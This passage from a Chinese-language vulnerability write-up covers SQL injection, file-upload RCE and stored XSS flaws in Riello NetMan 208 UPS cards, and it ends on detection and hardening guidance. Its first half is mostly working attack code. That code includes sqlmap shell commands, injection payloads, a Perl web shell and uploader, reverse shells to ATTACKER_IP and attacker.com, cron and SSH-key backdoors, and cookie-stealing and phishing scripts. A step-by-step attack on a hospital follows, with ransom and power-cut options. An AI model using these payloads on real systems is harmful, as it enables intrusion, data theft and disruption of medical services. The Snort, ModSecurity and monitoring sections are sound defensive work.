步骤4:进行暴力破解
# 现在可以无限次尝试
for pass in $(cat passwords.txt); do
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin&password=$pass" -c cookies.txt
if grep -q "Login Successful" cookies.txt; then
echo "Found password: $pass"
break
fi
done
使用SQLMap:
# 测试SQL注入
sqlmap -u "http://target/cgi-bin/login.cgi" \
--data="username=admin&password=test" \
--level=5 --risk=3 \
--batch
# 提取数据库
sqlmap -u "http://target/cgi-bin/login.cgi" \
--data="username=admin&password=test" \
--dump-all
# 获取Shell
sqlmap -u "http://target/cgi-bin/login.cgi" \
--data="username=admin&password=test" \
--os-shell
数据提取:
# 使用UNION注入提取密码
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=' UNION SELECT password FROM USERS WHERE username='admin' --&password=test"
# 提取所有用户
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=' UNION SELECT username||':'||password FROM USERS --&password=test"
持久化访问:
# 创建后门用户
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin';INSERT INTO USERS VALUES ('backdoor','password123','administrator'); --&password=test"
前提:已获得管理员凭证
步骤1:认证
import requests
session = requests.Session()
r = session.post('http://target/cgi-bin/login.cgi', data={
'username': 'admin',
'password': 'password123',
'logintype': 'standard'
})
# 获取session cookie
print(session.cookies.get('session'))
步骤2:准备Payload
# 创建Web Shell
shell_code = """#!/usr/bin/perl
use CGI;
my $cgi = CGI->new;
print $cgi->header('text/plain');
my $cmd = $cgi->param('cmd') || 'id';
system($cmd);
"""
with open('shell.cgi', 'w') as f:
f.write(shell_code)
步骤3:上传
files = {'certfile': ('runin.cgi', open('shell.cgi', 'rb'), 'text/plain')}
r = session.post('http://target/cgi-bin/certsupload.cgi', files=files)
if 'Success' in r.text:
print('[+] Shell uploaded')
步骤4:执行
r = session.get('http://target/cgi-bin/runin.cgi', params={'cmd': 'whoami'})
print(r.text) # 应输出: root
Perl反向Shell:
#!/usr/bin/perl
use Socket;
my $ip = "ATTACKER_IP";
my $port = 4444;
socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(S, sockaddr_in($port, inet_aton($ip)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/bash -i");
}
攻击者监听:
nc -lvp 4444
Cron后门:
# 通过Web Shell添加cron任务
cmd = """
echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | crontab -
"""
r = session.get('http://target/cgi-bin/runin.cgi', params={'cmd': cmd})
SSH密钥注入:
cmd = """
mkdir -p /root/.ssh
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
"""
r = session.get('http://target/cgi-bin/runin.cgi', params={'cmd': cmd})
简单Cookie窃取:
<script>
document.location='http://attacker.com/steal?c='+document.cookie;
</script>
隐蔽Cookie窃取:
<script>
(function(){
var img = new Image();
img.src = 'http://attacker.com/log.php?c=' +
encodeURIComponent(document.cookie) +
'&u=' + encodeURIComponent(document.location.href);
})();
</script>
伪造登录表单:
<script>
document.body.innerHTML = `
<div style="width:300px;margin:100px auto;padding:20px;border:1px solid #ccc;">
<h2>Session Expired</h2>
<p>Please log in again:</p>
<form action="http://attacker.com/phish.php" method="POST">
<input name="username" placeholder="Username" style="width:100%;padding:10px;margin:5px 0;">
<input type="password" name="password" placeholder="Password" style="width:100%;padding:10px;margin:5px 0;">
<input type="submit" value="Login" style="width:100%;padding:10px;background:#007bff;color:white;border:none;">
</form>
</div>
`;
</script>
<script src="http://attacker.com:3000/hook.js"></script>
攻击者可以:
控制浏览器
键盘记录
截屏
内网扫描
社会工程攻击
完整的自动化利用工具已在POC目录中提供:
CVE-2025-68916/poc/
├── cve_2025_68914_sqli.py # SQL注入自动化
├── cve_2025_68916_path_traversal_rce.py # RCE自动化
└── cve_2025_68915_stored_xss.py # XSS自动化
建议开发Metasploit模块:
##
# Riello UPS NetMan 208 RCE
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Riello UPS NetMan 208 Path Traversal RCE',
'Description' => %q{
CVE-2025-68916 exploitation module
},
'Author' => ['Security Research Team'],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2025-68916'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68916']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Riello NetMan 208 < 1.12', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 24 2025'
))
register_options(
[
OptString.new('USERNAME', [true, 'Username', 'admin']),
OptString.new('PASSWORD', [true, 'Password', 'admin123']),
OptString.new('TARGETURI', [true, 'Base path', '/'])
]
)
end
def exploit
# 实现利用逻辑
# ...
end
end
完整的攻击链可以在无任何凭证的情况下获得root权限:
阶段0:侦察
└─ 扫描暴露的NetMan 208设备
↓
阶段1:初始访问 (CVE-2025-68914)
└─ SQL注入绕过暴力破解保护
↓
阶段2:凭证获取
├─ 暴力破解管理员密码
└─ 或利用XSS窃取session
↓
阶段3:代码执行 (CVE-2025-68916)
└─ 上传Web Shell
↓
阶段4:权限提升
└─ 已是root权限(无需提升)
↓
阶段5:持久化
├─ SSH密钥注入
├─ Cron后门
└─ 修改系统文件
↓
阶段6:横向移动
├─ 扫描内网
├─ 窃取其他凭证
└─ 攻击其他系统
↓
阶段7:目标达成
├─ 数据窃取
├─ 服务中断
└─ 勒索攻击
目标:某大型医院的NetMan 208设备
攻击时间线:
Day 0 - 侦察阶段
00:00 - 攻击者使用Shodan搜索暴露的NetMan 208设备
shodan search "NetMan 208" country:US org:"Hospital"
00:15 - 发现目标:hospital.example.com:80
00:30 - 信息收集
nmap -sV -p 80,443,22 hospital.example.com
whatweb hospital.example.com
Day 1 - 初始突破
09:00 - 尝试默认凭证
credentials = [
('admin', 'admin'),
('admin', 'admin123'),
('admin', 'password'),
]
# 失败,触发账户锁定
09:15 - 利用SQL注入绕过
curl -X POST http://hospital.example.com/cgi-bin/login.cgi \
-d "username=admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --&password=test"
09:30 - 开始字典攻击
for password in password_list:
if attempt_login('admin', password):
print(f"Password found: {password}")
break
# 找到密码:Hospital2024
10:00 - 成功登录管理界面
Day 1 - 权限提升
10:15 - 准备Web Shell payload
10:20 - 上传恶意CGI脚本
upload_payload('runin.cgi', webshell_code)
10:25 - 验证代码执行
curl "http://hospital.example.com/cgi-bin/runin.cgi?cmd=id"
# uid=0(root) gid=0(root)
10:30 - 建立反向Shell
# 攻击者机器
nc -lvp 4444
# 目标系统通过Web Shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
Day 1 - 横向移动准备
11:00 - 收集系统信息
uname -a
ifconfig
netstat -tuln
ps aux
cat /etc/passwd
11:30 - 发现内网网段:10.10.50.0/24
12:00 - 扫描内网
for ip in 10.10.50.{1..254}; do
ping -c 1 $ip &
done
nmap -sn 10.10.50.0/24
12:30 - 发现关键系统
10.10.50.10 - 域控制器
10.10.50.20 - 文件服务器
10.10.50.30 - 数据库服务器
10.10.50.40 - EMR系统
Day 2 - 持久化
08:00 - 创建多个后门
后门1:SSH密钥
mkdir -p /root/.ssh
cat <<EOF >> /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil
EOF
后门2:Cron任务
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.update >/dev/null 2>&1") | crontab -
后门3:修改系统文件
# 添加suid shell
cp /bin/bash /tmp/.bash
chmod 4755 /tmp/.bash
Day 2 - 数据窃取
10:00 - 查找敏感文件
find / -name "*password*" 2>/dev/null
find / -name "*.db" 2>/dev/null
find / -name "config.ini" 2>/dev/null
10:30 - 发现数据库凭证
cat /var/db/netman.db
# admin:admin_hash
# 其他用户凭证
11:00 - 提取网络配置
cat /etc/network/interfaces
cat /etc/resolv.conf
# 获得DNS服务器和网关信息
Day 3 - 影响扩大
09:00 - 尝试访问域控
# 使用窃取的凭证
smbclient //10.10.50.10/C$ -U domain\\admin
09:30 - 成功获取域管理员权限
(假设密码重用)
10:00 - 横向移动到EMR系统
10:30 - 访问患者医疗记录数据库
Day 3 - 攻击目标
选项A:勒索
- 加密关键数据
- 要求赎金
- 威胁公开数据
选项B:破坏
- 关闭UPS系统
- 导致服务器断电
- 中断医疗服务
选项C:数据窃取
- 窃取患者记录
- 在暗网出售
- 用于身份盗窃
基于MITRE ATT&CK框架的攻击映射:
| 战术 | 技术 | 漏洞利用 |
|---|---|---|
| 初始访问 | T1190 利用面向公众的应用程序 | CVE-2025-68914 |
| 执行 | T1059.004 Unix Shell | CVE-2025-68916 |
| 持久化 | T1053.003 Cron | Web Shell + Cron |
| 持久化 | T1098.004 SSH授权密钥 | SSH密钥注入 |
| 权限提升 | T1068 利用权限提升漏洞 | 已有root权限 |
| 防御规避 | T1070.004 文件删除 | 清理日志 |
| 凭证访问 | T1110.001 密码猜测 | 暴力破解 |
| 凭证访问 | T1552.001 文件中的凭证 | 提取配置文件 |
| 发现 | T1046 网络服务扫描 | 内网扫描 |
| 横向移动 | T1021.004 SSH | 使用窃取的密钥 |
| 收集 | T1005 本地系统数据 | 文件提取 |
| 命令与控制 | T1071.001 Web协议 | Web Shell |
| 渗透 | T1041 通过C2通道渗透 | 数据外传 |
| 影响 | T1485 数据销毁 | 潜在的勒索 |
| 影响 | T1489 服务停止 | UPS关闭 |
攻击者投入:
| 项目 | 成本 | 时间 |
|---|---|---|
| 侦察 | 低 | 1-2小时 |
| 工具开发 | 低(使用现成POC) | 0小时 |
| 初始突破 | 极低 | 1-2小时 |
| 权限提升 | 极低 | 0.5小时 |
| 持久化 | 低 | 1小时 |
| 总计 | 很低 | 4-6小时 |
攻击收益(从攻击者角度):
| 目标类型 | 潜在价值 | 可能性 |
|---|---|---|
| 医疗记录 | 高(暗网售价$50-100/记录) | 高 |
| 勒索赎金 | 极高($50k-500k) | 中 |
| 服务中断 | 无直接收益 | 低 |
| APT情报价值 | 高 | 中 |
结论:从攻击者角度看,此漏洞链的投入产出比极高,这增加了被利用的风险。
宿主机
└─ Docker容器
├─ Ubuntu 20.04
├─ Apache 2.4.41
├─ Perl 5.30
├─ SQLite 3
└─ 漏洞CGI脚本
# 1. 克隆项目
cd /path/to/CVE-2025-68916
# 2. 构建镜像
docker build -f docker/Dockerfile -t netman208-vuln:latest .
# 3. 启动容器
docker run -d --name netman208-test -p 8080:80 netman208-vuln:latest
# 4. 验证
curl http://localhost:8080
docker logs netman208-test
FROM ubuntu:20.04
# 基础配置
ENV DEBIAN_FRONTEND=noninteractive
# 安装依赖
RUN apt-get update && apt-get install -y \
apache2 \
libapache2-mod-perl2 \
perl \
libcgi-pm-perl \
sqlite3 \
libdbi-perl \
libdbd-sqlite3-perl \
curl
# 配置Apache CGI
RUN a2enmod cgi cgid
# 创建目录结构
RUN mkdir -p /var/www/cgi-bin /var/www/html /var/db
# 初始化数据库
RUN sqlite3 /var/db/netman.db "CREATE TABLE LOGINFAILEDTABLE (username TEXT, ip TEXT, timestamp INTEGER, attempts INTEGER);" && \
sqlite3 /var/db/netman.db "CREATE TABLE USERS (username TEXT PRIMARY KEY, password TEXT, role TEXT);" && \
sqlite3 /var/db/netman.db "INSERT INTO USERS VALUES ('admin', 'admin123', 'administrator');"
# 复制漏洞脚本
COPY vulnerable-app/cgi-bin/* /usr/lib/cgi-bin/
COPY vulnerable-app/html/* /var/www/html/
# 设置权限
RUN chmod +x /usr/lib/cgi-bin/*.cgi && \
chown -R www-data:www-data /var/www /var/db && \
chmod 777 /var/db/netman.db
# 配置Apache
RUN echo '<Directory "/usr/lib/cgi-bin">\n\
Options +ExecCGI\n\
SetHandler cgi-script\n\
AllowOverride None\n\
Require all granted\n\
</Directory>' > /etc/apache2/conf-available/cgi-enabled.conf
RUN a2enconf cgi-enabled
EXPOSE 80
CMD ["apachectl", "-D", "FOREGROUND"]
对于需要真实设备测试的研究人员:
选项1:购买二手设备
- eBay搜索"Riello NetMan 208"
- 估计价格:$200-500
- 确保是受影响版本(< 1.12)
选项2:联系厂商
- 申请研究样机
- 说明研究目的
- 签署保密协议
[Internet]
|
X (断开)
|
[研究网络] 10.0.0.0/24
|
+-- [NetMan 208] 10.0.0.100
+-- [测试机] 10.0.0.50
物理隔离措施:
从互联网完全断开
独立的交换机
无线禁用
专用测试机
# 1. 创建Ubuntu虚拟机
# 2. 安装依赖
sudo apt-get update
sudo apt-get install apache2 libapache2-mod-perl2 perl sqlite3
# 3. 配置环境
sudo a2enmod cgi
sudo systemctl restart apache2
# 4. 部署漏洞脚本
sudo cp vulnerable-app/cgi-bin/* /usr/lib/cgi-bin/
sudo chmod +x /usr/lib/cgi-bin/*.cgi
# 5. 初始化数据库
sqlite3 /var/db/netman.db < schema.sql
虚拟机网络设置:
- 模式:仅主机(Host-Only)
- IP:192.168.56.100
- 网关:192.168.56.1
# 1. 测试Web服务
curl http://localhost:8080/
# 2. 测试登录
curl -X POST http://localhost:8080/cgi-bin/login.cgi \
-d "username=admin&password=admin123"
# 3. 测试文件上传
curl -X POST http://localhost:8080/cgi-bin/certsupload.cgi \
-F "[email protected]" \
-b "session=admin_session"
# 4. 测试横幅配置
curl http://localhost:8080/cgi-bin/loginbanner_w.cgi \
-b "session=admin_session"
# 验证SQL注入
python3 poc/cve_2025_68914_sqli.py http://localhost:8080
# 验证RCE
python3 poc/cve_2025_68916_path_traversal_rce.py http://localhost:8080
# 验证XSS
python3 poc/cve_2025_68915_stored_xss.py http://localhost:8080
# Apache访问日志
tail -f /var/log/apache2/access.log
# Apache错误日志
tail -f /var/log/apache2/error.log
# 系统日志
tail -f /var/log/syslog
# 使用tcpdump
sudo tcpdump -i eth0 -w capture.pcap port 80
# 使用Wireshark
wireshark -i eth0 -k -f "port 80"
Snort规则:
# CVE-2025-68914 SQL注入检测
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (
msg:"CVE-2025-68914 SQL Injection in NetMan 208";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/login.cgi"; http_uri;
pcre:"/username=[^&]*(union|select|insert|delete|drop|update|--|;|')/i";
reference:cve,2025-68914;
classtype:web-application-attack;
sid:2025001; rev:1;
)
# CVE-2025-68916 路径遍历检测
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (
msg:"CVE-2025-68916 Path Traversal in NetMan 208";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/certsupload.cgi"; http_uri;
content:"certfile"; http_client_body;
pcre:"/\.\.[\\/]/i";
reference:cve,2025-68916;
classtype:web-application-attack;
sid:2025002; rev:1;
)
# CVE-2025-68915 XSS检测
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (
msg:"CVE-2025-68915 XSS in NetMan 208";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/loginbanner_w.cgi"; http_uri;
pcre:"/<script|javascript:|onerror=|onload=/i";
reference:cve,2025-68915;
classtype:web-application-attack;
sid:2025003; rev:1;
)
# 检测攻击链
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (
msg:"Potential NetMan 208 Attack Chain";
flow:to_server,established;
content:"POST"; http_method;
threshold:type both, track by_src, count 5, seconds 60;
classtype:attempted-recon;
sid:2025004; rev:1;
)
Suricata规则:
# 更现代的Suricata语法
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-68914 - NetMan 208 SQL Injection";
flow:to_server;
http.method; content:"POST";
http.uri; content:"/cgi-bin/login.cgi";
http.request_body; pcre:"/username=[^&]*('|--|union|select|delete|drop)/i";
reference:cve,2025-68914;
classtype:web-application-attack;
sid:2025001; rev:1;
)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-68916 - NetMan 208 RCE via File Upload";
flow:to_server;
http.method; content:"POST";
http.uri; content:"/cgi-bin/certsupload.cgi";
file_data; content:".cgi";
reference:cve,2025-68916;
classtype:web-application-attack;
sid:2025002; rev:1;
)
ModSecurity规则:
# SQL注入防护
SecRule ARGS "@rx (?i)(union|select|insert|delete|drop|update|--|;)" \
"id:100001,\
phase:2,\
t:lowercase,\
deny,\
status:403,\
msg:'CVE-2025-68914: SQL Injection Attempt',\
tag:'CVE-2025-68914',\
severity:'CRITICAL'"
# 路径遍历防护
SecRule FILES_NAMES "@rx \\.\\." \
"id:100002,\
phase:2,\
deny,\
status:403,\
msg:'CVE-2025-68916: Path Traversal Attempt',\
tag:'CVE-2025-68916',\
severity:'CRITICAL'"
# CGI文件上传防护
SecRule FILES "@rx \\.cgi$" \
"id:100003,\
phase:2,\
deny,\
status:403,\
msg:'CVE-2025-68916: Suspicious CGI File Upload',\
tag:'CVE-2025-68916',\
severity:'CRITICAL'"
# XSS防护
SecRule ARGS "@rx (?i)(<script|javascript:|onerror=|onload=)" \
"id:100004,\
phase:2,\
t:lowercase,\
deny,\
status:403,\
msg:'CVE-2025-68915: XSS Attempt',\
tag:'CVE-2025-68915',\
severity:'HIGH'"
# 限制NetMan 208访问
SecRule REQUEST_URI "@beginsWith /cgi-bin/" \
"id:100005,\
phase:1,\
pass,\
nolog,\
chain"
SecRule REMOTE_ADDR "!@ipMatch 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16" \
"deny,\
status:403,\
msg:'NetMan 208: External Access Blocked'"
Apache日志监控:
# 监控SQL注入尝试
grep -E "(union|select|delete|drop|--|;)" /var/log/apache2/access.log
# 监控可疑文件上传
grep "certsupload.cgi" /var/log/apache2/access.log
# 监控异常认证
grep "login.cgi" /var/log/apache2/access.log | grep -v "200"
使用fail2ban自动化:
# /etc/fail2ban/filter.d/netman208-sqli.conf
[Definition]
failregex = ^<HOST> .* "POST /cgi-bin/login.cgi.*?(union|select|delete|drop)
ignoreregex =
# /etc/fail2ban/jail.local
[netman208-sqli]
enabled = true
port = http,https
filter = netman208-sqli
logpath = /var/log/apache2/access.log
maxretry = 3
bantime = 3600
使用AIDE:
# 安装
sudo apt-get install aide
# 初始化数据库
sudo aideinit
# 配置监控CGI目录
cat >> /etc/aide/aide.conf <<EOF
/usr/lib/cgi-bin R+sha256
/var/db/netman.db R+sha256
/var/www/html R+sha256
EOF
# 更新数据库
sudo aide --update
# 定期检查
sudo aide --check
使用Tripwire:
# 安装和初始化
sudo apt-get install tripwire
sudo tripwire --init
# 配置策略
sudo vi /etc/tripwire/twpol.txt
# 添加NetMan 208特定规则
/usr/lib/cgi-bin -> $(SEC_BIN) ;
/var/db/netman.db -> $(SEC_CONFIG) ;
检测异常进程:
# 监控以root运行的Web进程
ps aux | grep -E "(apache|httpd|perl)" | grep "^root"
# 检测反向shell
netstat -antp | grep ESTABLISHED | grep -v ":80\|:443\|:22"
# 监控文件描述符
lsof -p $(pgrep -f "cgi-bin") | grep ESTABLISHED
使用auditd:
# 安装
sudo apt-get install auditd
# 配置规则
sudo vi /etc/audit/rules.d/netman208.rules
# 内容
-w /usr/lib/cgi-bin/ -p wa -k cgi_modification
-w /var/db/netman.db -p wa -k database_modification
-w /etc/passwd -p wa -k passwd_changes
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/perl -k perl_execution
# 重载规则
sudo augenrules --load
# 查看日志
sudo ausearch -k cgi_modification
SQLite监控:
# 监控数据库访问
sudo strace -e trace=open,openat -p $(pgrep -f "cgi-bin") 2>&1 | grep "netman.db"
# 定期检查数据完整性
sqlite3 /var/db/netman.db "PRAGMA integrity_check;"
# 监控表变化
sqlite3 /var/db/netman.db ".schema" > /tmp/schema_old.txt
# 定期比较
sqlite3 /var/db/netman.db ".schema" | diff - /tmp/schema_old.txt
Nginx + ModSecurity:
# nginx.conf
server {
listen 80;
server_name netman208.local;
# 启用ModSecurity
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
# 速率限制
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
limit_req_zone $binary_remote_addr zone=upload:10m rate=2r/m;
location /cgi-bin/login.cgi {
limit_req zone=login burst=3 nodelay;
proxy_pass http://backend;
}
location /cgi-bin/certsupload.cgi {
limit_req zone=upload burst=1;
proxy_pass http://backend;
}
# IP白名单
location /cgi-bin/ {
allow 192.168.1.0/24;
allow 10.0.0.0/8;
deny all;
proxy_pass http://backend;
}
}
攻击指标(IOCs):
# 网络IOCs
network_iocs:
suspicious_requests:
- "username=admin';DELETE FROM"
- "certfile" + ".cgi"
- "<script" in loginbanner_w.cgi
# 文件IOCs
file_iocs:
suspicious_files:
- /usr/lib/cgi-bin/*.cgi (recently modified)
- /tmp/.* (hidden files)
- /var/www/html/*.php (unexpected PHP files)
# 行为IOCs
behavior_iocs:
suspicious_activities:
- Multiple failed logins followed by success
- CGI file upload
- Outbound connection from web server
- Root process spawned by www-data
Splunk查询:
# SQL注入检测
index=web_logs sourcetype=apache_access
| search uri="/cgi-bin/login.cgi" method=POST
| regex _raw="(union|select|delete|drop|--|')"
| stats count by src_ip, uri
| where count > 3
# 文件上传监控
index=web_logs sourcetype=apache_access
| search uri="/cgi-bin/certsupload.cgi"
| transaction src_ip maxspan=10m
| where eventcount > 5
# 异常认证模式
index=web_logs sourcetype=apache_access uri="/cgi-bin/login.cgi"
| stats count(eval(status>=400)) as failures,
count(eval(status=200)) as successes by src_ip
| where failures > 10 AND successes > 0
| table src_ip, failures, successes
ELK Stack查询:
{
"query": {
"bool": {
"must": [
{"match": {"request": "/cgi-bin/login.cgi"}},
{"regexp": {"request": ".*(union|select|delete).*"}}
]
}
},
"aggs": {
"by_ip": {
"terms": {"field": "clientip"}
}
}
}
步骤1:防火墙规则
# iptables规则
# 只允许内网访问
sudo iptables -A INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j DROP
sudo iptables -A INPUT -p tcp --dport 443 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j DROP
# 保存规则
sudo iptables-save > /etc/iptables/rules.v4
# nftables规则(现代Linux)
sudo nft add table inet filter
sudo nft add chain inet filter input { type filter hook input priority 0 \; }
sudo nft add rule inet filter input tcp dport 80 ip saddr 192.168.1.0/24 accept
sudo nft add rule inet filter input tcp dport 80 drop
步骤2:VPN配置
[Internet]
|
[VPN Gateway]
|
[Internal Network]
|
[NetMan 208]
使用OpenVPN或WireGuard配置:
# 安装WireGuard
sudo apt-get install wireguard
# 配置
sudo vi /etc/wireguard/wg0.conf
[Interface]
Address = 10.0.0.1/24
ListenPort = 51820
PrivateKey = SERVER_PRIVATE_KEY
[Peer]
PublicKey = CLIENT_PUBLIC_KEY
AllowedIPs = 10.0.0.2/32
实施强密码策略:
# 修改默认密码
sqlite3 /var/db/netman.db "UPDATE USERS SET password='NewStrongP@ssw0rd!' WHERE username='admin';"
# 或使用哈希密码
perl -e 'use Digest::SHA qw(sha256_hex); print sha256_hex("NewStrongP@ssw0rd!"), "\n";'
sqlite3 /var/db/netman.db "UPDATE USERS SET password='HASH_VALUE' WHERE username='admin';"
实施账户锁定加固:
修改login.cgi:
# 增强锁定策略
my $max_attempts = 5;
my $lockout_time = 3600; # 1小时
if ($attempts >= $max_attempts) {
my $lockout_start = $dbh->selectrow_array(
"SELECT MIN(timestamp) FROM LOGINFAILEDTABLE WHERE username=? AND ip=?",
undef, $username, $remote_ip
);
if (time() - $lockout_start < $lockout_time) {
print "Account locked for " . int(($lockout_time - (time() - $lockout_start)) / 60) . " minutes";
exit;
}
}
临时禁用文件上传:
# 方法1:移除可执行权限
sudo chmod -x /usr/lib/cgi-bin/certsupload.cgi
# 方法2:重命名文件
sudo mv /usr/lib/cgi-bin/certsupload.cgi /usr/lib/cgi-bin/certsupload.cgi.disabled
# 方法3:Apache配置
sudo vi /etc/apache2/conf-available/netman-lockdown.conf
<Location /cgi-bin/certsupload.cgi>
Require all denied
</Location>
sudo a2enconf netman-lockdown
sudo systemctl reload apache2
完整的ModSecurity配置:
# /etc/apache2/mods-available/security2.conf
<IfModule security2_module>
# 基础配置
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess Off
# 日志配置
SecAuditEngine RelevantOnly
SecAuditLog /var/log/apache2/modsec_audit.log
# 核心规则集
Include /usr/share/modsecurity-cve/owasp-crs/crs-setup.conf
Include /usr/share/modsecurity-cve/owasp-crs/rules/*.conf
# NetMan 208特定规则
# SQL注入防护
SecRule REQUEST_URI "@beginsWith /cgi-bin/login.cgi" \
"id:200001,\
phase:2,\
chain"
SecRule ARGS:username "@rx (?i)(union|select|insert|delete|drop|update|--|;|')" \
"t:lowercase,\
deny,\
status:403,\
log,\
msg:'NetMan 208 SQL Injection Blocked',\
tag:'CVE-2025-68914'"
# 路径遍历防护
SecRule REQUEST_URI "@beginsWith /cgi-bin/certsupload.cgi" \
"id:200002,\
phase:2,\
chain"
SecRule FILES_NAMES "@rx \.\.[\\/]" \
"deny,\
status:403,\
log,\
msg:'NetMan 208 Path Traversal Blocked',\
tag:'CVE-2025-68916'"
# 文件类型限制
SecRule REQUEST_URI "@beginsWith /cgi-bin/certsupload.cgi" \
"id:200003,\
phase:2,\
chain"
SecRule FILES_NAMES "!@rx \\.pem$" \
"deny,\
status:403,\
log,\
msg:'Invalid file type for certificate upload'"
# XSS防护
SecRule REQUEST_URI "@beginsWith /cgi-bin/loginbanner_w.cgi" \
"id:200004,\
phase:2,\
chain"
SecRule ARGS:pre_login_banner_message "@rx (?i)(<script|javascript:|onerror=|onload=)" \
"t:lowercase,\
deny,\
status:403,\
log,\
msg:'NetMan 208 XSS Blocked',\
tag:'CVE-2025-68915'"
# 速率限制
SecAction "id:200005,\
phase:1,\
nolog,\
pass,\
initcol:ip=%{REMOTE_ADDR},\
setvar:ip.requests=+1,\
expirevar:ip.requests=60"
SecRule IP:REQUESTS "@gt 30" \
"id:200006,\
phase:1,\
deny,\
status:429,\
msg:'Rate limit exceeded'"
</IfModule>
# /etc/nginx/sites-available/netman208-secure
# 速率限制定义
limit_req_zone $binary_remote_addr zone=login_limit:10m rate=5r/m;
limit_req_zone $binary_remote_addr zone=upload_limit:10m rate=2r/m;
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
# 上游服务器
upstream netman208_backend {
server 127.0.0.1:8080 max_fails=3 fail_timeout=30s;
}
server {
listen 80;
server_name netman208.local;
# 重定向到HTTPS
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl http2;
server_name netman208.local;
# SSL配置
ssl_certificate /etc/ssl/certs/netman208.crt;
ssl_certificate_key /etc/ssl/private/netman208.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
# 安全头
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;
# 日志
access_log /var/log/nginx/netman208_access.log combined;
error_log /var/log/nginx/netman208_error.log warn;
# IP白名单
# allow 192.168.1.0/24;
# deny all;
# 通用限制
limit_conn conn_limit 10;
client_max_body_size 10M;
# 登录端点
location /cgi-bin/login.cgi {
limit_req zone=login_limit burst=3 nodelay;
# SQL注入过滤
if ($request_body ~* "(union|select|insert|delete|drop|--|;)") {
return 403 "SQL Injection attempt detected";
}
proxy_pass http://netman208_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# 文件上传端点
location /cgi-bin/certsupload.cgi {
limit_req zone=upload_limit burst=1;
# 只允许POST
limit_except POST {
deny all;
}
# 文件大小限制
client_max_body_size 1M;
proxy_pass http://netman208_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
# 横幅配置
location /cgi-bin/loginbanner_w.cgi {
limit_req zone=login_limit burst=2;
# XSS过滤
if ($request_body ~* "(<script|javascript:|onerror=|onload=)") {
return 403 "XSS attempt detected";
}
proxy_pass http://netman208_backend;
}
# 其他CGI脚本
location /cgi-bin/ {
limit_req zone=login_limit burst=5;
proxy_pass http://netman208_backend;
}
# 静态文件
location / {
proxy_pass http://netman208_backend;
proxy_cache_valid 200 1h;
}
}
#!/bin/bash
# netman208-monitor.sh - 实时监控脚本
LOG_FILE="/var/log/apache2/access.log"
ALERT_EMAIL="[email protected]"
ALERT_THRESHOLD=5
# 监控SQL注入尝试
monitor_sqli() {
local count=$(grep -c "login.cgi" $LOG_FILE | \
grep -E "(union|select|delete|drop|--)" | \
wc -l)
if [ $count -gt $ALERT_THRESHOLD ]; then
echo "ALERT: $count SQL injection attempts detected" | \
mail -s "NetMan 208 Security Alert" $ALERT_EMAIL
fi
}
# 监控文件上传
monitor_uploads() {
local count=$(grep -c "certsupload.cgi" $LOG_FILE)
if [ $count -gt $ALERT_THRESHOLD ]; then
echo "ALERT: $count file upload attempts" | \
mail -s "NetMan 208 Upload Alert" $ALERT_EMAIL
fi
}
# 监控文件修改
monitor_file_integrity() {
local modified=$(find /usr/lib/cgi-bin -name "*.cgi" -mmin -5)
if [ -n "$modified" ]; then
echo "ALERT: CGI files modified:\n$modified" | \
mail -s "NetMan 208 File Integrity Alert" $ALERT_EMAIL
fi
}
# 主循环
while true; do
monitor_sqli
monitor_uploads
monitor_file_integrity
sleep 60
done
Prometheus配置:
# prometheus.yml
global:
scrape_interval: 15s
scrape_configs:
- job_name: 'netman208'
static_configs:
- targets: ['localhost:9090']
- job_name: 'apache_exporter'
static_configs:
- targets: ['localhost:9117']
rule_files:
